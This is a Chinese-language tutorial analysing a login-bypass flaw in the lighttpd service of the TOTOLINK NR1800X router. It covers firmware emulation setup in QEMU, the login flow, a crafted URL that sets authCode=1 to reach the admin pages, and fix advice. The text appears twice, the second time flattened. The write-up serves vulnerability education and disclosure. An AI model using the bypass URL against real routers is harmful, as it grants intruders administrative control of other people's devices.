TOTOLINK_NR1800X绕过登录漏洞分析--lighttpd服务
字数 858 2025-08-22 12:23:25

TOTOLINK_NR1800X 绕过登录漏洞分析教学文档

1. 漏洞概述

本教学文档详细分析TOTOLINK NR1800X路由器中存在的登录验证绕过漏洞,该漏洞存在于lighttpd服务中,允许攻击者通过构造特定URL绕过认证机制直接访问后台管理界面。

2. 环境准备

2.1 固件获取

从官方下载固件:

https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/225/ids/36.html

2.2 固件分析环境搭建

用户态环境

  1. 使用chroot和qemu-mipsel模拟运行:
sudo chroot . ./qemu-mipsel-static ./usr/sbin/lighttpd
  1. 常见问题解决:
  • 需要指定配置文件
  • 创建缺失的pid文件:/var/run/lighttpd.pid

系统态环境(推荐)

  1. 下载所需镜像:
wget https://people.debian.org/~aurel32/qemu/mipsel/debian_squeeze_mipsel_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta
  1. 网络配置:
sudo brctl addbr virbr0
sudo ifconfig virbr0 192.168.2.1/24 up
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.2.11/24 up
sudo brctl addif virbr0 tap0
  1. 启动QEMU虚拟机:
sudo qemu-system-mipsel -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" -nographic \
-net nic -net tap,ifname=tap0,script=no,downscript=no
  1. 文件传输到虚拟机:
sudo scp -o HostKeyAlgorithms=+ssh-rsa -r squashfs-root/ root@172.26.71.12:/root/
  1. 在虚拟机中启动环境:
chroot ./squashfs-root/ /bin/sh

3. 漏洞分析

3.1 正常登录流程分析

  1. 登录请求示例:
POST /cgi-bin/cstecgi.cgi?action=login HTTP/1.1
Host: 192.168.2.12
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=admin&password=55555
  1. 正常响应:
HTTP/1.1 302 Found
Location: http://192.168.2.12/formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login

关键点:

  • authCode=0表示登录失败
  • userName=为空表示未认证

3.2 关键函数分析

  1. 程序执行流:
  • 请求首先由cgi-bin/cstecgi.cgi处理
  • 调用sub_42AEEC函数(通过off_44C074指针)
  1. 认证机制:
  • authCode参数控制认证状态
  • goURL参数指定跳转页面
  • userName参数指定用户名

3.3 漏洞利用方法

构造以下URL可直接绕过认证:

http://192.168.2.12/formLoginAuth.htm?authCode=1&userName=admin&password=aaa&goURL=home.html&action=login

关键参数说明:

  • authCode=1:强制设置为认证成功状态
  • userName=admin:设置管理员用户名
  • goURL=home.html:直接跳转到后台主页

4. 漏洞验证

  1. 直接访问构造的URL
  2. 检查是否获得有效SESSION_ID
  3. 验证能否访问后台管理功能

5. 修复建议

  1. 服务器端应严格验证authCode参数,不应接受客户端直接设置
  2. 实现完整的会话管理机制,不依赖URL参数进行认证
  3. formLoginAuth.htm页面增加权限验证

6. 总结

该漏洞源于认证机制设计缺陷,通过直接修改URL参数即可绕过认证。开发人员应避免将关键认证状态暴露给客户端控制,所有认证决策应在服务器端完成。

TOTOLINK_ NR1800X 绕过登录漏洞分析教学文档 1. 漏洞概述 本教学文档详细分析TOTOLINK NR1800X路由器中存在的登录验证绕过漏洞,该漏洞存在于lighttpd服务中,允许攻击者通过构造特定URL绕过认证机制直接访问后台管理界面。 2. 环境准备 2.1 固件获取 从官方下载固件: 2.2 固件分析环境搭建 用户态环境 使用chroot和qemu-mipsel模拟运行: 常见问题解决: 需要指定配置文件 创建缺失的pid文件: /var/run/lighttpd.pid 系统态环境(推荐) 下载所需镜像: 网络配置: 启动QEMU虚拟机: 文件传输到虚拟机: 在虚拟机中启动环境: 3. 漏洞分析 3.1 正常登录流程分析 登录请求示例: 正常响应: 关键点: authCode=0 表示登录失败 userName= 为空表示未认证 3.2 关键函数分析 程序执行流: 请求首先由 cgi-bin/cstecgi.cgi 处理 调用 sub_42AEEC 函数(通过 off_44C074 指针) 认证机制: authCode 参数控制认证状态 goURL 参数指定跳转页面 userName 参数指定用户名 3.3 漏洞利用方法 构造以下URL可直接绕过认证: 关键参数说明: authCode=1 :强制设置为认证成功状态 userName=admin :设置管理员用户名 goURL=home.html :直接跳转到后台主页 4. 漏洞验证 直接访问构造的URL 检查是否获得有效SESSION_ ID 验证能否访问后台管理功能 5. 修复建议 服务器端应严格验证 authCode 参数,不应接受客户端直接设置 实现完整的会话管理机制,不依赖URL参数进行认证 对 formLoginAuth.htm 页面增加权限验证 6. 总结 该漏洞源于认证机制设计缺陷,通过直接修改URL参数即可绕过认证。开发人员应避免将关键认证状态暴露给客户端控制,所有认证决策应在服务器端完成。